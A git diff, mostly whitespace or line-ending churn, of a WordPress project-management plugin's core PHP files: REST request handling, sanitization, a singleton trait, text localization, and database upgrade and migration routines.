$headers = $this->get_headers(); + + foreach( $headers as $key => $value ) { + $request->add_header( $key, $value ); + } + + return $request; + } + + + /** + * Get all HTTP header key/values as an associative array for the current request. + * + * @return array The HTTP header key/value pairs. + */ + private function get_headers() { + $headers = array(); + + $copy_server = array( + 'CONTENT_TYPE' => 'Content-Type', + 'CONTENT_LENGTH' => 'Content-Length', + 'CONTENT_MD5' => 'Content-Md5', + 'HTTP_X_WP_NONCE' => 'HTTP_X_WP_NONCE' + ); + + foreach ( $_SERVER as $key => $value ) { + if ( substr( $key, 0, 5 ) === 'HTTP_' ) { + $key = substr( $key, 5 ); + + if ( !isset( $copy_server[$key] ) || !isset( $_SERVER[$key] ) ) { + $key = str_replace( ' ', '-', ucwords( strtolower( str_replace( '_', ' ', $key ) ) ) ); + $headers[$key] = $value; + } + } elseif ( isset( $copy_server[$key] ) ) { + $headers[$copy_server[$key]] = $value; + } + } + + if ( !isset( $headers['Authorization'] ) ) { + if ( isset( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ) ) { + $headers['Authorization'] = isset( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ) ) : ''; + } elseif ( isset( $_SERVER['PHP_AUTH_USER'] ) ) { + $basic_pass = isset( $_SERVER['PHP_AUTH_PW'] ) ? sanitize_text_field( wp_unslash( $_SERVER['PHP_AUTH_PW'] ) ) : ''; + $auth_user = isset( $_SERVER['PHP_AUTH_USER'] ) ? sanitize_text_field( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) ) : ''; + $headers['Authorization'] = 'Basic ' . base64_encode( $auth_user . ':' . $basic_pass ); + } elseif ( isset( $_SERVER['PHP_AUTH_DIGEST'] ) ) { + $headers['Authorization'] = isset( $_SERVER['PHP_AUTH_DIGEST'] ) ? sanitize_text_field( wp_unslash( $_SERVER['PHP_AUTH_DIGEST'] ) ) : ''; + } + } + + return $headers; + } + + protected function append_uri_params( WP_REST_Request $request, $route ) { + $request_uri = $request->get_route(); + $uri_parts = explode( '/', $request_uri ); + $route_parts = explode( '/', $route ); + $params = []; + + if ( count( $uri_parts ) === count( $route_parts ) ) { + foreach ($uri_parts as $key => $value) { + if ( $value === $route_parts[$key] ) { + continue; + } elseif ( preg_match( "/^(\(\?P<).+(>\.\+\))$/", $route_parts[$key] ) ) { + $param = str_replace( "(?P<", '', $route_parts[$key] ); + $param = str_replace( ">.+)", '', $param ); + $params[$param] = $value; + } + } + } + + $request->set_url_params( $params ); + + return $request; + } + + protected function append_params( WP_REST_Request $request ) { + $nonce = $request->get_header( 'x_wp_nonce' ); + + // if ( ! isset( $_SERVER['HTTP_X_WP_NONCE'] ) ) { + // return $request; + // }; + + // $nonce = sanitize_text_field( $_SERVER['HTTP_X_WP_NONCE'] ); + + if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) { + return $request; + } + + $get_data = wp_unslash( $_GET ); + $post_data = wp_unslash( $_POST ); + $file_data = wp_unslash( $_FILES ); + + $request->set_query_params( $get_data ); + $request->set_body_params( $post_data ); + $request->set_file_params( $file_data ); + + return $request; + } + + /** + * Apply validation to the data that are passed to a wp rest route. + * + * @param array $args (Arguments/Parameters that will be passed to a wp + * rest route.) + * + * @param Validator $validator + * + * @return array (Array of arguments/parameters that will be passed to a + * wp rest route.) + */ + protected function apply_validation( $args, Validator $validator ) { + $rules = $validator->rules(); + $keys = array_keys( $rules ); + + foreach ( $keys as $key ) { + $args[$key] = [ + 'required' => in_array( 'required', explode( '|', $rules[$key] ) ), + 'validate_callback' => function ( $param, $request, $key ) use ( $validator ) { + if ( $validator->validate( $request, $key ) ) { + return true; + } + + return new WP_Error( + 'rest_invalid_param', + $validator->get_errors( $key ), + array( + 'status' => 400 + ) + ); + }, + ]; + } + + return $args; + } + + /** + * Apply sanitization to the data that are passed to a wp rest route. + * + * @param array $args (Arguments/Parameters that will be passed to a wp + * rest route.) + * + * @param Sanitizer $sanitizer + * + * @return array (Array of arguments/parameters that will be passed to a + * wp rest route.) + */ + protected function apply_sanitizer( $args, Sanitizer $sanitizer ) { + $filters = $sanitizer->filters(); + $keys = array_keys( $filters ); + + foreach ( $keys as $key ) { + $args[$key]['sanitize_callback'] = function ( $param, $request, $key ) use ( $sanitizer ) { + return $sanitizer->sanitize( $request, $key ); + }; + } + + return $args; + } +} diff --git a/core/Sanitizer/Abstract_Sanitizer.php b/core/Sanitizer/Abstract_Sanitizer.php index 3b42a4c07..202c184c0 100644 --- a/core/Sanitizer/Abstract_Sanitizer.php +++ b/core/Sanitizer/Abstract_Sanitizer.php @@ -1,127 +1,127 @@ -request = $request; - } - } - - /** - * Perform data filtering(sanitization) for a specific data field. - * Filters will be collected from an array returned by the filters - * method using data key and these filters will be applied here. - * - * @return mixed (Sanitized data.) - */ - public function sanitize( WP_REST_Request $request, $key ) { - $this->request = $request; - $filters = $this->filters(); - - $filtering_fns = $filters[$key]; - $fns = $this->get_filtering_fns( $filtering_fns ); - $value = $this->request->get_param( $key ); - - foreach ( $fns as $fn ) { - $this->sanitized_data[$key] = $this->call_filtering_fn( $value, $fn ); - $value = $this->sanitized_data[$key]; - } - - return $this->sanitized_data[$key]; - } - - /** - * Sanitized value of a data field that corresponds to the supplied - * key will be returned from here. If the key (parameter) is missing - * when calling this method all the sanitized value will be returned - * from here. - * - * @param string $key (Key is the data field name.) - * - * @return mixed (Return type depends on filters applied to the - * data key supplied as parameter.) - */ - public function get_sanitized_data( $key = null ) { - if ( !$key ) { - return $this->sanitized_data[$key]; - } - - return $this->sanitized_data; - } - - /** - * Separation of sanitization functions(filters) from a string - * where filters are separated by pipe line. - * - * @param string $fns (Piple line separated string of sanitization - * filters.) - * - * @return array (Array of function names that will called when - * sanitizing or filtering a data field value) - */ - protected function get_filtering_fns( $fns ) { - return explode( '|', $fns ); - } - - /** - * Making of sanitization functions and call them with appropriate - * parameters. - * - * @param mixed $value (Value of a data field.) - * - * @param string $fn (Name of function. If a function has any parameter - * other than data field value will be look like 'fn:param1,param2'.These - * parameters will be passed to that function as an array that will retain - * the sequence and data field value will be passed as first parameter.) - * - * @return mixed (Specified by the filter function.) - */ - protected function call_filtering_fn( $value, $fn ) { - $fn_parts = explode( ':', $fn ); - - $fn_name = trim( $fn_parts[0] ); - - if ( count( $fn_parts ) > 1 ) { - $fn_params = trim( $fn_parts[1] ); - $fn_params = explode( ',', $fn_params ); - - return $fn_name( $value, $fn_params ); - } - - return $fn_name( $value ); - } - - /** - * Which filters will be applied to which data field will be defined - * here. This method returns an associative array where key is the - * data field name and value is a string of filters. If a value - * contains more than one filter, filters will be separated by pipe - * line. Filters that accept parameters other than data field value - * needs to be decleard as 'filter_name:param1, param2'. These - * parameters will be passed as an array to the second parameter of - * the filter function and first parameter is for data field value. - * - * @return array (Associative array of filters where key is the - * data field name and value is a string of filters.) - */ - abstract public function filters(); +request = $request; + } + } + + /** + * Perform data filtering(sanitization) for a specific data field. + * Filters will be collected from an array returned by the filters + * method using data key and these filters will be applied here. + * + * @return mixed (Sanitized data.) + */ + public function sanitize( WP_REST_Request $request, $key ) { + $this->request = $request; + $filters = $this->filters(); + + $filtering_fns = $filters[$key]; + $fns = $this->get_filtering_fns( $filtering_fns ); + $value = $this->request->get_param( $key ); + + foreach ( $fns as $fn ) { + $this->sanitized_data[$key] = $this->call_filtering_fn( $value, $fn ); + $value = $this->sanitized_data[$key]; + } + + return $this->sanitized_data[$key]; + } + + /** + * Sanitized value of a data field that corresponds to the supplied + * key will be returned from here. If the key (parameter) is missing + * when calling this method all the sanitized value will be returned + * from here. + * + * @param string $key (Key is the data field name.) + * + * @return mixed (Return type depends on filters applied to the + * data key supplied as parameter.) + */ + public function get_sanitized_data( $key = null ) { + if ( !$key ) { + return $this->sanitized_data[$key]; + } + + return $this->sanitized_data; + } + + /** + * Separation of sanitization functions(filters) from a string + * where filters are separated by pipe line. + * + * @param string $fns (Piple line separated string of sanitization + * filters.) + * + * @return array (Array of function names that will called when + * sanitizing or filtering a data field value) + */ + protected function get_filtering_fns( $fns ) { + return explode( '|', $fns ); + } + + /** + * Making of sanitization functions and call them with appropriate + * parameters. + * + * @param mixed $value (Value of a data field.) + * + * @param string $fn (Name of function. If a function has any parameter + * other than data field value will be look like 'fn:param1,param2'.These + * parameters will be passed to that function as an array that will retain + * the sequence and data field value will be passed as first parameter.) + * + * @return mixed (Specified by the filter function.) + */ + protected function call_filtering_fn( $value, $fn ) { + $fn_parts = explode( ':', $fn ); + + $fn_name = trim( $fn_parts[0] ); + + if ( count( $fn_parts ) > 1 ) { + $fn_params = trim( $fn_parts[1] ); + $fn_params = explode( ',', $fn_params ); + + return $fn_name( $value, $fn_params ); + } + + return $fn_name( $value ); + } + + /** + * Which filters will be applied to which data field will be defined + * here. This method returns an associative array where key is the + * data field name and value is a string of filters. If a value + * contains more than one filter, filters will be separated by pipe + * line. Filters that accept parameters other than data field value + * needs to be decleard as 'filter_name:param1, param2'. These + * parameters will be passed as an array to the second parameter of + * the filter function and first parameter is for data field value. + * + * @return array (Associative array of filters where key is the + * data field name and value is a string of filters.) + */ + abstract public function filters(); } \ No newline at end of file diff --git a/core/Singletonable.php b/core/Singletonable.php index 1da0a910a..0428df73c 100644 --- a/core/Singletonable.php +++ b/core/Singletonable.php @@ -1,145 +1,145 @@ -inject_dependecies( $dependencies ); - $instance->apply_callables( $callables ); - } - - return $instance; - } - - /** - * Initialization of the external objects that are required - * in the life cycle of caller class object - * - * @param array $dependencies In dependency, key is the dependency - * name and value is the object of the dependency class - * - * @return void - */ - protected function inject_dependecies( array $dependencies = [] ) { - foreach ( $dependencies as $property => $dependency ) { - if ( property_exists( $this, $property ) ) { - $this->$property = $dependency; - } - } - } - - /** - * Call the callable things that are required to make the calling class - * singleton. - * - * @param array $callables An array of callables things that will be - * called in the process of making a class singleton. This array actually - * contains associative arrays where keys are 'method', 'params', and - * 'property'. What we will get with the key 'method' is name of the - * class method and it will be called with parameters. We will get these - * parameters in the array location 'params' that is actually an array of - * parameters. If we need to assign the method call value to a property, - * we will get that property from the array with the key 'property'. - * - * @return void - */ - protected function apply_callables( array $callables = [] ) { - foreach ( $callables as $callable ) { - $method = $callable['method']; - $params = $callable['params']; - $property = $callable['property']; - - if ( method_exists( $this, $method ) ) { - - if ( ! empty( $property ) && property_exists( $this, $property ) ) { - $this->$property = call_user_func_array( - array( $this, $method ), - $params - ); - } else { - call_user_func_array( array( $this, $method ), $params ); - } - } - } - } - - /** - * Protected constructor to prevent creating a new instance of the - * *Singleton* via the `new` operator from outside of this class. - */ - protected function __construct() { - - } - - /** - * Private clone method to prevent cloning of the instance of the - * *Singleton* instance. - * - * @return void - */ - private function __clone() { - - } -} - -//Example: singleton() first param -// use WeDevs\PM\Core\Singletonable; - -// $obj = test::singleton(['xyz' => 'Hello World!']); - -// echo $obj->xyz; //'Hello World!' - -// class test { -// use Singletonable; - -// public $xyz; -// } -// - -//Example: singleton() second param -// use WeDevs\PM\Core\Singletonable; - -// $obj = test::singleton(['xyz' => 'Hello World!'], [ -// 'method' => 'kkk', -// 'params' => 'aaa', -// ]); - -// echo $obj->xyz;//Hello World!' - -// class test { -// use Singletonable; - -// public $xyz; - -// //for else condition -// public function kkk( $params ) { -// // do operation - -// return //something; -// } -// } +inject_dependecies( $dependencies ); + $instance->apply_callables( $callables ); + } + + return $instance; + } + + /** + * Initialization of the external objects that are required + * in the life cycle of caller class object + * + * @param array $dependencies In dependency, key is the dependency + * name and value is the object of the dependency class + * + * @return void + */ + protected function inject_dependecies( array $dependencies = [] ) { + foreach ( $dependencies as $property => $dependency ) { + if ( property_exists( $this, $property ) ) { + $this->$property = $dependency; + } + } + } + + /** + * Call the callable things that are required to make the calling class + * singleton. + * + * @param array $callables An array of callables things that will be + * called in the process of making a class singleton. This array actually + * contains associative arrays where keys are 'method', 'params', and + * 'property'. What we will get with the key 'method' is name of the + * class method and it will be called with parameters. We will get these + * parameters in the array location 'params' that is actually an array of + * parameters. If we need to assign the method call value to a property, + * we will get that property from the array with the key 'property'. + * + * @return void + */ + protected function apply_callables( array $callables = [] ) { + foreach ( $callables as $callable ) { + $method = $callable['method']; + $params = $callable['params']; + $property = $callable['property']; + + if ( method_exists( $this, $method ) ) { + + if ( ! empty( $property ) && property_exists( $this, $property ) ) { + $this->$property = call_user_func_array( + array( $this, $method ), + $params + ); + } else { + call_user_func_array( array( $this, $method ), $params ); + } + } + } + } + + /** + * Protected constructor to prevent creating a new instance of the + * *Singleton* via the `new` operator from outside of this class. + */ + protected function __construct() { + + } + + /** + * Private clone method to prevent cloning of the instance of the + * *Singleton* instance. + * + * @return void + */ + private function __clone() { + + } +} + +//Example: singleton() first param +// use WeDevs\PM\Core\Singletonable; + +// $obj = test::singleton(['xyz' => 'Hello World!']); + +// echo $obj->xyz; //'Hello World!' + +// class test { +// use Singletonable; + +// public $xyz; +// } +// + +//Example: singleton() second param +// use WeDevs\PM\Core\Singletonable; + +// $obj = test::singleton(['xyz' => 'Hello World!'], [ +// 'method' => 'kkk', +// 'params' => 'aaa', +// ]); + +// echo $obj->xyz;//Hello World!' + +// class test { +// use Singletonable; + +// public $xyz; + +// //for else condition +// public function kkk( $params ) { +// // do operation + +// return //something; +// } +// } diff --git a/core/Textdomain/Textdomain.php b/core/Textdomain/Textdomain.php index f36ff81ba..30bebbc67 100644 --- a/core/Textdomain/Textdomain.php +++ b/core/Textdomain/Textdomain.php @@ -1,95 +1,95 @@ - 'load', - 'params' => [], - 'property' => null - ]) - ); - - $texts = self::$texts; - $keys = explode( '.', $key ); - $text = self::get_value_from_array( $texts, $keys ); - - $localized_text = []; - if ( count( $keys ) == 1 ) { - $sub_keys = array_keys( $text ); - foreach ( $sub_keys as $key ) { - $localized_text[$key] = self::named_sprintf( $text[$key] ); - } - } else { - $localized_text = self::named_sprintf( $text ); - } - - return $localized_text; - } - - private static function get_value_from_array( $array = [], $keys = [] ) { - $value = $array; - - foreach ( $keys as $key ) { - - if ( !array_key_exists( $key, $value ) ) { - return null; - } - - $value = $value[$key]; - } - - return $value; - } - - private static function named_sprintf( $text = [] ) { - if ( !is_array( $text ) ) { - return ''; - } - - $keys = array_keys( $text ); - $arr_differ = array_diff( $keys, [0, 1] ); - if ( !empty( $arr_differ ) ) { - return ''; - } - - $sprintf_args = []; - $format = $text[0]; - - if ( array_key_exists( 1, $text ) ) { - $params = $text[1]; - - foreach ( $params as $key => $param ) { - $sprintf_args[$key + 1] = '{{' . $param . '}}'; - } - } - array_unshift( $sprintf_args, $format ); - - return call_user_func_array( 'sprintf', $sprintf_args ); - } + 'load', + 'params' => [], + 'property' => null + ]) + ); + + $texts = self::$texts; + $keys = explode( '.', $key ); + $text = self::get_value_from_array( $texts, $keys ); + + $localized_text = []; + if ( count( $keys ) == 1 ) { + $sub_keys = array_keys( $text ); + foreach ( $sub_keys as $key ) { + $localized_text[$key] = self::named_sprintf( $text[$key] ); + } + } else { + $localized_text = self::named_sprintf( $text ); + } + + return $localized_text; + } + + private static function get_value_from_array( $array = [], $keys = [] ) { + $value = $array; + + foreach ( $keys as $key ) { + + if ( !array_key_exists( $key, $value ) ) { + return null; + } + + $value = $value[$key]; + } + + return $value; + } + + private static function named_sprintf( $text = [] ) { + if ( !is_array( $text ) ) { + return ''; + } + + $keys = array_keys( $text ); + $arr_differ = array_diff( $keys, [0, 1] ); + if ( !empty( $arr_differ ) ) { + return ''; + } + + $sprintf_args = []; + $format = $text[0]; + + if ( array_key_exists( 1, $text ) ) { + $params = $text[1]; + + foreach ( $params as $key => $param ) { + $sprintf_args[$key + 1] = '{{' . $param . '}}'; + } + } + array_unshift( $sprintf_args, $format ); + + return call_user_func_array( 'sprintf', $sprintf_args ); + } } \ No newline at end of file diff --git a/core/Upgrades/Upgrade.php b/core/Upgrades/Upgrade.php index 2c976071c..f63fce6eb 100644 --- a/core/Upgrades/Upgrade.php +++ b/core/Upgrades/Upgrade.php @@ -1,234 +1,234 @@ - 'Upgrade_2_0', - '2.1' => 'Upgrade_2_1', - '2.2' => 'Upgrade_2_2', - '2.2.1' => 'Upgrade_2_2_1', - '2.2.2' => 'Upgrade_2_2_2', - '2.3' => 'Upgrade_2_3', - '2.4.1' => 'Upgrade_2_4_1', - '2.5' => 'Upgrade_2_4_4', - ]; - - public static $instance = null; - - private static $_instance; - - public static function getInstance() { - if ( !self::$_instance ) { - self::$_instance = new self(); - } - - return self::$_instance; - } - - /** - * Binding all events - * - * @since 0.1 - * - * @return void - */ - function __construct() { - add_action( 'admin_notices', array($this, 'show_update_notice') ); - add_action( 'admin_init', array( $this, 'init_upgrades' ) ); - add_action( 'admin_init', array( $this, 'do_updates' ) ); - add_action( 'wp_ajax_do_updates', array( $this, 'do_updates' ) ); - add_filter( 'heartbeat_received', array( $this, 'receive_heartbeat' ), 10, 2 ); - } - - public static function create_tables() { - - $is_need_update = self::is_needs_update(); - - if ( $is_need_update ) { - new PM_Create_Table; - (new \RoleTableSeeder())->run(); - } - } - - public function receive_heartbeat($response, $data) { - $pm_migration = empty( $data['pm_migration'] ) ? false : $data['pm_migration']; - - if ( $pm_migration ) { - $db_observe = get_option( 'pm_observe_migration' ); - $db_observe['count'] = empty( $db_observe['count'] ) ? [] : $db_observe['count']; - $db_observe['migrate'] = empty( $db_observe['migrate'] ) ? [] : $db_observe['migrate']; - - $check_status = []; - foreach ( $db_observe['count'] as $key => $value) { - if ( $db_observe['migrate'][$key] >= $value ) { - $check_status[$key] = 'complete'; - } else { - $check_status[$key] = 'incomplete'; - } - } - - if ( in_array( 'incomplete', $check_status ) ) { - $is_all_migrated = false; - } else { - $is_all_migrated = true; - } - - $response['pm_migration'] = $db_observe; - $response['pm_is_all_migrated'] = $is_all_migrated; - } - - return $response; - - } - - public function init_upgrades() { - - if( ! current_user_can( 'update_plugins' ) ){ - return ; - } - - self::$updates = array_map( function ( $update ) { - $class = str_replace( '/', '\\', __NAMESPACE__ ); - $class .= '\\' .$update; - if ( class_exists( $class ) ){ - return $update = new $class(); - } - }, self::$updates); - - } - - /** - * Check if need any update - * - * @since 1.0 - * - * @return boolean - */ - public static function is_needs_update() { - $bd_version = get_option( 'cpm_db_version' ); - $installed_version = !empty( $bd_version ) ? get_option( 'cpm_db_version' ) : get_option( 'pm_db_version' ); - - $updatable_versions = pm_config('app.db_version'); - - // may be it's the first install - if ( ! $installed_version ) { - if ( version_compare( $updatable_versions, '2.1' , '<=' ) ) { - - update_option( 'pm_db_version', 2.0 ); - } else { - update_option( 'pm_db_version', $updatable_versions ); - } - return false; - } - - if ( version_compare( $installed_version, $updatable_versions , '<' ) ) { - return true; - } - return false; - } - - /** - * Show update notice - * - * @since 1.0 - * - * @return void - */ - public function show_update_notice() { - - if ( ! current_user_can( 'update_plugins' ) || ! $this->is_needs_update() ) { - return; - } - - ?> -
-
- -

- - -

-
- - - -
-
-
- - perform_updates(); - } - - /** - * Perform all updates - * - * @since 1.0 - * - * @return void - */ - public function perform_updates() { - - if ( ! $this->is_needs_update() ) { - return; - } - - $installed_version = get_option( 'pm_db_version' ); - - foreach (self::$updates as $version => $object ) { - - - if ( version_compare( $installed_version, $version, '<' ) ) { - - if ( method_exists( $object, 'upgrade_init' ) ){ - $object->upgrade_init(); - update_option( 'pm_db_version', $version ); - } - } - } - - delete_option( 'cpm_db_version' ); - // update_option( 'pm_db_version', '2.0-beta' ); - } -} - - + 'Upgrade_2_0', + '2.1' => 'Upgrade_2_1', + '2.2' => 'Upgrade_2_2', + '2.2.1' => 'Upgrade_2_2_1', + '2.2.2' => 'Upgrade_2_2_2', + '2.3' => 'Upgrade_2_3', + '2.4.1' => 'Upgrade_2_4_1', + '2.5' => 'Upgrade_2_4_4', + ]; + + public static $instance = null; + + private static $_instance; + + public static function getInstance() { + if ( !self::$_instance ) { + self::$_instance = new self(); + } + + return self::$_instance; + } + + /** + * Binding all events + * + * @since 0.1 + * + * @return void + */ + function __construct() { + add_action( 'admin_notices', array($this, 'show_update_notice') ); + add_action( 'admin_init', array( $this, 'init_upgrades' ) ); + add_action( 'admin_init', array( $this, 'do_updates' ) ); + add_action( 'wp_ajax_do_updates', array( $this, 'do_updates' ) ); + add_filter( 'heartbeat_received', array( $this, 'receive_heartbeat' ), 10, 2 ); + } + + public static function create_tables() { + + $is_need_update = self::is_needs_update(); + + if ( $is_need_update ) { + new PM_Create_Table; + (new \RoleTableSeeder())->run(); + } + } + + public function receive_heartbeat($response, $data) { + $pm_migration = empty( $data['pm_migration'] ) ? false : $data['pm_migration']; + + if ( $pm_migration ) { + $db_observe = get_option( 'pm_observe_migration' ); + $db_observe['count'] = empty( $db_observe['count'] ) ? [] : $db_observe['count']; + $db_observe['migrate'] = empty( $db_observe['migrate'] ) ? [] : $db_observe['migrate']; + + $check_status = []; + foreach ( $db_observe['count'] as $key => $value) { + if ( $db_observe['migrate'][$key] >= $value ) { + $check_status[$key] = 'complete'; + } else { + $check_status[$key] = 'incomplete'; + } + } + + if ( in_array( 'incomplete', $check_status ) ) { + $is_all_migrated = false; + } else { + $is_all_migrated = true; + } + + $response['pm_migration'] = $db_observe; + $response['pm_is_all_migrated'] = $is_all_migrated; + } + + return $response; + + } + + public function init_upgrades() { + + if( ! current_user_can( 'update_plugins' ) ){ + return ; + } + + self::$updates = array_map( function ( $update ) { + $class = str_replace( '/', '\\', __NAMESPACE__ ); + $class .= '\\' .$update; + if ( class_exists( $class ) ){ + return $update = new $class(); + } + }, self::$updates); + + } + + /** + * Check if need any update + * + * @since 1.0 + * + * @return boolean + */ + public static function is_needs_update() { + $bd_version = get_option( 'cpm_db_version' ); + $installed_version = !empty( $bd_version ) ? get_option( 'cpm_db_version' ) : get_option( 'pm_db_version' ); + + $updatable_versions = pm_config('app.db_version'); + + // may be it's the first install + if ( ! $installed_version ) { + if ( version_compare( $updatable_versions, '2.1' , '<=' ) ) { + + update_option( 'pm_db_version', 2.0 ); + } else { + update_option( 'pm_db_version', $updatable_versions ); + } + return false; + } + + if ( version_compare( $installed_version, $updatable_versions , '<' ) ) { + return true; + } + return false; + } + + /** + * Show update notice + * + * @since 1.0 + * + * @return void + */ + public function show_update_notice() { + + if ( ! current_user_can( 'update_plugins' ) || ! $this->is_needs_update() ) { + return; + } + + ?> +
+
+ +

+ + +

+
+ + + +
+
+
+ + perform_updates(); + } + + /** + * Perform all updates + * + * @since 1.0 + * + * @return void + */ + public function perform_updates() { + + if ( ! $this->is_needs_update() ) { + return; + } + + $installed_version = get_option( 'pm_db_version' ); + + foreach (self::$updates as $version => $object ) { + + + if ( version_compare( $installed_version, $version, '<' ) ) { + + if ( method_exists( $object, 'upgrade_init' ) ){ + $object->upgrade_init(); + update_option( 'pm_db_version', $version ); + } + } + } + + delete_option( 'cpm_db_version' ); + // update_option( 'pm_db_version', '2.0-beta' ); + } +} + + diff --git a/core/Upgrades/Upgrade_2_0.php b/core/Upgrades/Upgrade_2_0.php index b405c865a..5854d2f0f 100644 --- a/core/Upgrades/Upgrade_2_0.php +++ b/core/Upgrades/Upgrade_2_0.php @@ -1,1935 +1,1935 @@ -isProcessRuning = true; - $this->upgrade_projects( $item ); - $this->upgrade_observe_migration( [ - 'projects' => true - ] ); - - return false; - } - - /** - * Complete function for WP_Background_Process - * - */ - function complete() { - parent::complete(); - $this->isProcessRuning = false; - $this->migrate_category(); - $this->set_settings(); - - delete_option( 'pm_start_migration' ); - delete_option( 'cpm_db_version' ); - - // upgrade complete function - } - - /** - * Is the updater running? - * @return boolean - */ - public function is_updating() { - return false === $this->is_queue_empty(); - } - - - /** - * Handle cron healthcheck - * - * Restart the background process if not already running - * and data exists in the queue. - */ - public function handle_cron_healthcheck() { - if ( $this->is_process_running() ) { - // Background process already running. - return; - } - - if ( $this->is_queue_empty() ) { - // No data to process. - $this->clear_scheduled_event(); - return; - } - - $this->handle(); - } - - - /** - * Get batch - * - * @return stdClass Return the first batch from the queue - */ - protected function delete_queue_batch() { - global $wpdb; - - $table = $wpdb->options; - $column = 'option_name'; - $key_column = 'option_id'; - $value_column = 'option_value'; - - if ( is_multisite() ) { - $table = $wpdb->sitemeta; - $column = 'meta_key'; - $key_column = 'meta_id'; - $value_column = 'meta_value'; - } - - $key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%'; - - $query = $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->options} WHERE option_name LIKE %s ", $key ) ); - } - - - public function notification() { - - $is_active_notice = get_option('pm_migration_notice'); - - if ( - empty( $is_active_notice ) - || - $is_active_notice == 'complete' - ) { - return; - } - - echo '
'; - $db_observe = get_option( 'pm_observe_migration' ); - - $observe = json_encode( $db_observe ); - $assets_url = config('frontend.assets_url'); - - $result = array_diff( $db_observe['count'], $db_observe['migrate'] ); - - $is_all_migrated = empty( $result ) ? true : false; - - ?> - - - run(); - //create pro table - $this->create_gantt_chart_table(); - $this->create_invoice_table(); - $this->create_time_tracker_table(); - // end - $this->start_update(); - $this->set_count(); - - $this->delete_queue_batch(); - - global $wpdb; - $ids = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_type = %s", 'cpm_project' ), ARRAY_A ); - - if ( is_wp_error( $ids ) ) { - return; - } - - $ids = wp_list_pluck($ids, 'ID'); - - foreach ($ids as $id) { - $id = absint( $id ); - if ( empty( $id ) ) { - continue; - } - $this->push_to_queue( $id ); - } - - $this->save()->dispatch(); - } - - function upgrade_observe_migration( $args ) { - $migration = get_option( 'pm_observe_migration' ); - - if ( !empty( $args['projects'] ) ) { - $migration['migrate']['projects'] = $migration['migrate']['projects'] + 1; - } - - if ( !empty( $args['lists'] ) ) { - $migration['migrate']['lists'] = $migration['migrate']['lists'] + 1; - } - - if ( !empty( $args['tasks'] ) ) { - $migration['migrate']['tasks'] = $migration['migrate']['tasks'] + 1; - } - - if ( !empty( $args['messages'] ) ) { - $migration['migrate']['messages'] = $migration['migrate']['messages'] + 1; - } - - if ( !empty( $args['milestons'] ) ) { - $migration['migrate']['milestons'] = $migration['migrate']['milestons'] + 1; - } - - if ( !empty( $args['comments'] ) ) { - $migration['migrate']['comments'] = $migration['migrate']['comments'] + 1; - } - - update_option( 'pm_observe_migration', $migration ); - } - - public function set_count() { - global $wpdb; - - $has_migration = get_option( 'pm_observe_migration' ); - $start_update = get_option( 'pm_start_migration', false ); - - if ( ! empty( $has_migration ) || ! $start_update ) { - return; - } - // decleat variables; - $total_project = 0; - $total_milestone = 0; - $total_message = 0; - $total_task_list = 0; - $total_task = 0; - $total_comment = 0; - $comments_ids = []; - - $projects = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_type = %s", 'cpm_project' ), ARRAY_A ); - $total_project = $wpdb->num_rows; - - if ( $total_project ) { - $ids = wp_list_pluck( $projects, 'ID' ); - $comments_ids = array_merge( $comments_ids, $ids ); - $ids = implode( ',', $ids ); - - //milestone query - $milestons = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_parent in (%s) AND post_type in ('cpm_milestne', 'cpm_milestone') AND post_status=%s", $ids, 'publish' ), ARRAY_A ); - $total_milestone = $wpdb->num_rows; - - //message query - $message = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_parent in (%s) AND post_type=%s AND post_status=%s", $ids, 'cpm_message', 'publish' ), ARRAY_A ); - $total_message = $wpdb->num_rows; - $comments_ids = array_merge( $comments_ids, wp_list_pluck( $message, 'ID' ) ); - - // tasklist query - $tasklist = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_parent in (%s) AND post_type=%s AND post_status=%s", $ids, 'cpm_task_list', 'publish' ), ARRAY_A ); - $total_task_list = $wpdb->num_rows; - - if ( $total_task_list ) { - $list_ids = wp_list_pluck( $tasklist, 'ID' ); - $comments_ids = array_merge( $comments_ids, $list_ids ); - $list_ids = implode( ',', $list_ids ); - - // task query - $tasks = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_parent in (%s) AND post_type=%s AND post_status=%s", $list_ids, 'cpm_task', 'publish' ), ARRAY_A ); - $total_task = $wpdb->num_rows; - - if ( $total_task ) { - $task_ids = wp_list_pluck( $tasks, 'ID' ); - $comments_ids = array_merge( $comments_ids, $task_ids ); - $task_ids = implode( ',', $task_ids ); - - $tasks = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_parent in (%s) AND post_type=%s AND post_status=%s", $task_ids, 'cpm_sub_task', 'publish' ), ARRAY_A ); - $total_task = $total_task + $wpdb->num_rows; - - } - - } - - } - - if ( ! empty( $comments_ids ) ) { - $comments_ids = implode( ',', $comments_ids ); - $total_comment = $wpdb->get_var( - $wpdb->prepare("SELECT count(comment_ID) FROM {$wpdb->comments} WHERE comment_post_ID IN (%s)", $comments_ids ) - ); - } - - $observe = [ - 'count' => [ - 'projects' => $total_project, - 'lists' => $total_task_list, - 'tasks' => $total_task, - 'messages' => $total_message, - 'milestons' => $total_milestone, - 'comments' => $total_comment - ], - - 'migrate' => [ - 'projects' => 0, - 'lists' => 0, - 'tasks' => 0, - 'messages' => 0, - 'milestons' => 0, - 'comments' => 0 - ] - ]; - - update_option( 'pm_observe_migration', $observe ); - - return $observe; - } - - /** - * start upgrade project - * @param ini $project_id - * @return Object new project model object - */ - public function upgrade_projects( $project_id ) { - - $project_ids = get_option( "pm_db_migration", [] ); - - if ( array_key_exists( $project_id, $project_ids ) ) { - return false; - } - - $project_ids[$project_id] = 0; - update_option("pm_db_migration", $project_ids); - - $project = $this->create_project( $project_id ); - - if ( $project ) { - $project_ids[$project_id] = $project->id; - update_option( 